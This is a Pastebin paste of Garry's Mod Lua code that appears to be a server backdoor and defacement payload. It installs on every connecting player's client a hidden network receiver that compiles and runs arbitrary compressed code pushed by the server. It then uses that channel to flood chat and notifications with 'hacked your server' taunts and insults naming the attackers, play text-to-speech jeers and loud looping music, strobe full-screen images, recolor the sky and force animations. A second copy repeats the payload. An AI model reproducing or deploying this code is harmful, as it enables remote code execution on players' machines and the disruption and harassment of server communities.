API tools faq
paste
Advertisement
Guest User

Untitled

a guest
Feb 27th, 2020
114
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 13.96 KB | None | 0 0
raw download clone embed print report
  1. local function rdm_str(len)
  2.     if !len or len <= 0 then return '' end
  3.     return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  4. end
  5.  
  6. function RandomString( intMin, intMax )
  7.  
  8.     local ret = ""
  9.  
  10.     for _ = 1, math.random( intMin, intMax ) do
  11.  
  12.         ret = ret.. string.char( math.random(65, 90) )
  13.  
  14.     end
  15.  
  16.  
  17.  
  18.     return ret
  19.  
  20. end
  21.  
  22.  
  23.  
  24. m_strImageGlobalVar = RandomString( 6, 12 )
  25.  
  26.  
  27.  
  28. local function rdm_str(len)
  29.  
  30.     if !len or len <= 0 then return '' end
  31.  
  32.     return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  33.  
  34. end
  35.  
  36.  
  37.  
  38. local net_string = rdm_str(25)
  39.  
  40.  
  41.  
  42. util.AddNetworkString(net_string)
  43.  
  44. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  45.  
  46. hook.Add("PlayerInitialSpawn", "ifyouseethisdontpanicitsme",function(ply)
  47.  
  48.     if !ply:IsBot() then
  49.  
  50.         ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  51.  
  52.     end
  53. end)
  54.  
  55. local function SendToClient(code)
  56.  
  57.     timer.Simple(1, function()
  58.  
  59.         local data = util.Compress(code)
  60.  
  61.         local len = #data
  62.  
  63.         net.Start(net_string)
  64.  
  65.         net.WriteUInt(len, 16)
  66.  
  67.         net.WriteData(data, len)
  68.  
  69.         net.Broadcast()
  70.  
  71.     end)
  72.  
  73. end
  74.  
  75.  
  76.  
  77.  
  78.  
  79. hook.Add("Think","\xFF\xFF\xFF",function()
  80.  
  81.     local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  82.  
  83.     for _, v in ipairs(player.GetAll()) do
  84.  
  85.         v:SetWeaponColor(Vector(col.r / 300, col.g / 300, col.b / 300))
  86.  
  87.     end
  88.  
  89. end)
  90.  
  91.  
  92.  
  93.  
  94.  
  95. SendToClient([=[
  96.  
  97.         g_]=].. m_strImageGlobalVar.. [=[ = {}
  98.  
  99.         local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  100.  
  101.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  102.  
  103.             local pnl = vgui.Create( "HTML" )
  104.  
  105.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  106.  
  107.             pnl:SetVisible( true )
  108.  
  109.             pnl:SetMouseInputEnabled( false )
  110.  
  111.             pnl:SetKeyBoardInputEnabled( false )
  112.  
  113.             pnl:SetSize( intSizeX, intSizeY )
  114.  
  115.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  116.  
  117.  
  118.  
  119.             local PageLoaded
  120.  
  121.             PageLoaded = function()
  122.  
  123.                 local mat = pnl:GetHTMLMaterial()
  124.  
  125.                 if mat then
  126.  
  127.                     g_]=].. m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  128.  
  129.                     return
  130.  
  131.                 end
  132.  
  133.  
  134.  
  135.                 timer.Simple( 0.5, PageLoaded )
  136.  
  137.             end
  138.  
  139.  
  140.  
  141.             PageLoaded()
  142.  
  143.         end
  144.  
  145.     LoadWebMaterial("https://www.dropbox.com/s/zklc3fcecltwevq/ezgif.com-resize%20%281%29.gif?dl=1", "hud2", 256 , 256 )
  146.  
  147.  
  148.  
  149.  
  150.  
  151.         timer.Create("qqyptebobvnq", 1.5, 0, function()
  152.  
  153.             local time = tonumber(0)
  154.  
  155.             local Message = {
  156.  
  157.                 "        .Karbg92#7471 et Nedzyu vous ont Hack votre serv.",
  158.  
  159.                 "       ..Karbg92#7471 et Nedzyu vous ont Hack votre serv..",
  160.  
  161.                 "      ...Karbg92#7471 et Nedzyu vous ont Hack votre serv...",
  162.  
  163.                 "     ....Karbg92#7471 et Nedzyu vous ont Hack votre serv....",
  164.  
  165.                 "    .....Karbg92#7471 et Nedzyu vous ont Hack votre serv.....",
  166.  
  167.                 "   ......Karbg92#7471 et Nedzyu vous ont Hack votre serv......",
  168.  
  169.                 "  .......Karbg92#7471 et Nedzyu vous ont Hack votre serv.......",
  170.  
  171.                 " ........Karbg92#7471 et Nedzyu vous ont Hack votre serv........",
  172.  
  173.                 ".........Karbg92#7471 et Nedzyu vous ont Hack votre serv.........",
  174.  
  175.                 " ........Karbg92#7471 et Nedzyu vous ont Hack votre serv........",
  176.  
  177.                 "  .......Karbg92#7471 et Nedzyu vous ont Hack votre serv.......",
  178.  
  179.                 "   ......Karbg92#7471 et Nedzyu vous ont Hack votre serv......",
  180.  
  181.                 "    .....Karbg92#7471 et Nedzyu vous ont Hack votre serv.....",
  182.  
  183.                 "     ....Karbg92#7471 et Nedzyu vous ont Hack votre serv....",
  184.  
  185.                 "      ...Karbg92#7471 et Nedzyu vous ont Hack votre serv...",
  186.  
  187.                 "       ..Karbg92#7471 et Nedzyu vous ont Hack votre serv..",
  188.  
  189.                 "        .Karbg92#7471 et Nedzyu vous ont Hack votre serv.",
  190.  
  191.             }
  192.  
  193.             for _, line in pairs(Message) do
  194.  
  195.                 time = time + tonumber(0.1)
  196.  
  197.                 timer.Simple(time,function()
  198.  
  199.                     chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
  200.  
  201.                 end)
  202.  
  203.             end
  204.  
  205.         end)
  206.  
  207.  
  208.  
  209.     timer.Simple(1, function()
  210.  
  211.         local text = "karbg92 ton serv et nul Fdp "
  212.  
  213.         local str = ''  text = string.Trim(text)  text = string.Explode(' ', text)  if text == {} then return end  for k,v in pairs(text) do  str = str .. v .. '+'  end sound.PlayURL('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='..str..'&tl=fr','mono',function(chan, num, str)end)
  214.  
  215.     end)
  216.  
  217.  
  218.  
  219.     timer.Simple(2, function()
  220.  
  221.         timer.Create("uurnbaneycmk", 0.1, 0, function()
  222.  
  223.             notification.AddLegacy( "karbg92#7471 et Nedzyu W Σ LIK Σ#8579  ta Hack ton serv FDP !!", math.random(0, 4), 1.5 )
  224.  
  225.         end)
  226.  
  227.         function GAMEMODE:PostDraw2DSkyBox()
  228.  
  229.             local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  230.  
  231.             render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  232.  
  233.             return !!1
  234.  
  235.         end
  236.  
  237.         function GAMEMODE:PreDrawSkyBox()
  238.  
  239.             local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  240.  
  241.             render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  242.  
  243.             return !!1
  244.  
  245.         end
  246.  
  247.     end)
  248.  
  249.  
  250.  
  251. ]=])
  252.  
  253.  
  254.  
  255. SendToClient([=[
  256.  
  257.  
  258.  
  259. timer.Simple(5, function()
  260.  
  261.  
  262.  
  263.     timer.Create("semmmmm", 5, 100, function()
  264.  
  265.         RunConsoleCommand("act","dance")
  266.  
  267.         RunConsoleCommand("_darkrp_doanimation", "1642")
  268.  
  269.     end)
  270.  
  271.  
  272.  
  273.     local ragtbl = {}
  274.  
  275.     for i=1,20 do
  276.  
  277.         ragtbl[i] = ClientsideRagdoll( "models/player/stenli/lilith.mdl" )
  278.  
  279.         ragtbl[i]:SetNoDraw( false )
  280.  
  281.         ragtbl[i]:DrawShadow( true )
  282.  
  283.     end
  284.  
  285.  
  286.  
  287.     local function GetWebMat( strURL )
  288.  
  289.         return g_]=].. m_strImageGlobalVar.. [=[[strURL]
  290.  
  291.     end
  292.  
  293.     local uwu = {}
  294.  
  295.  
  296.  
  297.     hook.Add("HUDPaint", "okay",function()
  298.  
  299.         for k,v in pairs(uwu) do
  300.  
  301.             v()
  302.  
  303.         end
  304.  
  305.     end)
  306.  
  307.  
  308.  
  309.     SOUNDSTART_CTP = false
  310.  
  311.     OZJFOZJCEZIO = true
  312.  
  313.  
  314.  
  315.  
  316.  
  317.     sound.PlayURL("https://www.dropbox.com/s/shpksv3quh9hnnz/best-trap-music-mix-2020-hip-hop-2020-rap-future-bass-remix-2020.mp3?dl=1","mono noblock noplay",function(s)
  318.  
  319.         if not s then return end
  320.  
  321.         if SOUNDSTART_CTP then s:Stop() return end
  322.  
  323.         SOUNDSTART_CTP = true
  324.  
  325.         s:SetVolume(5 )
  326.  
  327.         s:Play()
  328.  
  329.         s:EnableLooping( true )
  330.  
  331.  
  332.  
  333.         local ragtbl = {}
  334.  
  335.  
  336.  
  337.         uwu["CoolEffect"] = function()
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.  
  345.             local tbl = {}
  346.  
  347.             s:FFT(tbl,FFT_2048)
  348.  
  349.  
  350.  
  351.  
  352.  
  353.             xpcall(function()
  354.  
  355.                 local fal = 0
  356.  
  357.             for i=4,6 do
  358.  
  359.                 fal = fal + tbl[i]
  360.  
  361.             end
  362.  
  363.  
  364.  
  365.             if fal > 0.8 then
  366.  
  367.  
  368.  
  369.                 local oneid = "newhud"..math.random(100, 300).."id"
  370.  
  371.  
  372.  
  373.                 hook.Add( "HUDPaint", oneid, function()
  374.  
  375.                     surface.SetDrawColor( 255, 255, 255, 255 )
  376.  
  377.  
  378.  
  379.                     if GetWebMat( "hud2" ) then -- lui
  380.  
  381.                         surface.SetMaterial( GetWebMat("hud2")[1] )
  382.  
  383.                         surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  384.  
  385.                     end
  386.  
  387.  
  388.  
  389.                 end )
  390.  
  391.  
  392.  
  393.                 timer.Simple(0.2, function()
  394.  
  395.                     hook.Remove( "HUDPaint", oneid)
  396.  
  397.                 end)
  398.  
  399.  
  400.  
  401.             end
  402.  
  403.             end,function()
  404.  
  405.             end)
  406.  
  407.  
  408.  
  409.         end
  410.  
  411.  
  412.  
  413.     end)
  414.  
  415. end)
  416.  
  417. ]=])
  418.  
  419.  
  420.  
  421.  
  422.  
  423.  
  424. --[[
  425. LuaCmd
  426. --]]
  427. net.Receive("RIyZrG54Bae4I80AxfUN1cCX4",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)
  428.  
  429. --[[
  430. ?
  431. --]]
  432.         g_SFSYCEH = {}
  433.         local html = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  434.         local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  435.             local pnl = vgui.Create( "HTML" )
  436.             pnl:SetPos( ScrW() -1, ScrH() -1 )
  437.             pnl:SetVisible( true )
  438.             pnl:SetMouseInputEnabled( false )
  439.             pnl:SetKeyBoardInputEnabled( false )
  440.             pnl:SetSize( intSizeX, intSizeY )
  441.             pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  442.  
  443.             local PageLoaded
  444.             PageLoaded = function()
  445.                 local mat = pnl:GetHTMLMaterial()
  446.                 if mat then
  447.                     g_SFSYCEH[strUID] = { mat, pnl }
  448.                     return
  449.                 end
  450.  
  451.                 timer.Simple( 0.5, PageLoaded )
  452.             end
  453.  
  454.             PageLoaded()
  455.         end
  456.     LoadWebMaterial("https://www.dropbox.com/s/zklc3fcecltwevq/ezgif.com-resize%20%281%29.gif?dl=0", "hud2", 256 , 256 )
  457.  
  458.  
  459.         timer.Create("qqyptebobvnq", 1.5, 0, function()
  460.             local time = tonumber(0)
  461.             local Message = {
  462.                 "        .https://discord.gg/tNPuQDp.",
  463.                 "       ..https://discord.gg/tNPuQDp..",
  464.                 "      ...https://discord.gg/tNPuQDp...",
  465.                 "     ....https://discord.gg/tNPuQDp....",
  466.                 "    .....https://discord.gg/tNPuQDp.....",
  467.                 "   ......https://discord.gg/tNPuQDp......",
  468.                 "  .......https://discord.gg/tNPuQDp.......",
  469.                 " ........https://discord.gg/tNPuQDp........",
  470.                 ".........https://discord.gg/tNPuQDp.........",
  471.                 " ........https://discord.gg/tNPuQDp........",
  472.                 "  .......https://discord.gg/tNPuQDp.......",
  473.                 "   ......https://discord.gg/tNPuQDp......",
  474.                 "    .....https://discord.gg/tNPuQDp.....",
  475.                 "     ....https://discord.gg/tNPuQDp....",
  476.                 "      ...https://discord.gg/tNPuQDp...",
  477.                 "       ..https://discord.gg/tNPuQDp..",
  478.                 "        .https://discord.gg/tNPuQDp.",
  479.             }
  480.             for _, line in pairs(Message) do
  481.                 time = time + tonumber(0.1)
  482.                 timer.Simple(time,function()
  483.                     chat.AddText(HSVToColor( CurTime() % 6 * 60, 1, 1 ),line)
  484.                 end)
  485.             end
  486.         end)
  487.  
  488.     timer.Simple(1, function()
  489.         local text = "karbg92 et Nedzyu viens de hacker ton serveur Fdp"
  490.         local str = ''  text = string.Trim(text)  text = string.Explode(' ', text)  if text == {} then return end  for k,v in pairs(text) do  str = str .. v .. '+'  end sound.PlayURL('http://translate.google.com/translate_tts?ie=UTF-8&client=tw-ob&q='..str..'&tl=fr','mono',function(chan, num, str)end)
  491.     end)
  492.  
  493.     timer.Simple(2, function()
  494.         timer.Create("uurnbaneycmk", 0.1, 0, function()
  495.             notification.AddLegacy( "karbg92 et Nedzyu vous ont niquer !!", math.random(0, 4), 1.5 )
  496.         end)
  497.         function GAMEMODE:PostDraw2DSkyBox()
  498.             local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  499.             render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  500.             return !!1
  501.         end
  502.         function GAMEMODE:PreDrawSkyBox()
  503.             local col = HSVToColor( RealTime() * 120 % 360, 1, 1 )
  504.             render.Clear(col.r/1.3, col.g/1.3, col.b/1.3, 255)
  505.             return !!1
  506.         end
  507.     end)
  508.  
  509.  
  510.  
  511. --[[
  512. ?
  513. --]]
  514.  
  515. timer.Simple(5, function()
  516.  
  517.     timer.Create("semmmmm", 5, 100, function()
  518.         RunConsoleCommand("act","dance")
  519.         RunConsoleCommand("_darkrp_doanimation", "1642")
  520.     end)
  521.  
  522.     local ragtbl = {}
  523.     for i=1,20 do
  524.         ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  525.         ragtbl[i]:SetNoDraw( false )
  526.         ragtbl[i]:DrawShadow( true )
  527.     end
  528.  
  529.     local function GetWebMat( strURL )
  530.         return g_SFSYCEH[strURL]
  531.     end
  532.     local uwu = {}
  533.  
  534.     hook.Add("HUDPaint", "okay",function()
  535.         for k,v in pairs(uwu) do
  536.             v()
  537.         end
  538.     end)
  539.  
  540.     SOUNDSTART_CTP = false
  541.     OZJFOZJCEZIO = true
  542.  
  543.  
  544.     sound.PlayURL("https://www.dropbox.com/s/shpksv3quh9hnnz/best-trap-music-mix-2020-hip-hop-2020-rap-future-bass-remix-2020.mp3?dl=1","mono noblock noplay",function(s)
  545.         if not s then return end
  546.         if SOUNDSTART_CTP then s:Stop() return end
  547.         SOUNDSTART_CTP = true
  548.         s:SetVolume(5 )
  549.         s:Play()
  550.         s:EnableLooping( true )
  551.  
  552.         local ragtbl = {}
  553.  
  554.         uwu["CoolEffect"] = function()
  555.  
  556.  
  557.  
  558.             local tbl = {}
  559.             s:FFT(tbl,FFT_2048)
  560.  
  561.  
  562.             xpcall(function()
  563.                 local fal = 0
  564.             for i=4,6 do
  565.                 fal = fal + tbl[i]
  566.             end
  567.  
  568.             if fal > 0.8 then
  569.  
  570.                 local oneid = "newhud"..math.random(100, 300).."id"
  571.  
  572.                 hook.Add( "HUDPaint", oneid, function()
  573.                     surface.SetDrawColor( 255, 255, 255, 255 )
  574.  
  575.                     if GetWebMat( "hud2" ) then -- lui
  576.                         surface.SetMaterial( GetWebMat("hud2")[1] )
  577.                         surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  578.                     end
  579.  
  580.                 end )
  581.  
  582.                 timer.Simple(0.2, function()
  583.                     hook.Remove( "HUDPaint", oneid)
  584.                 end)
  585.  
  586.             end
  587.             end,function()
  588.             end)
  589.  
  590.         end
  591.  
  592.     end)
  593. end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!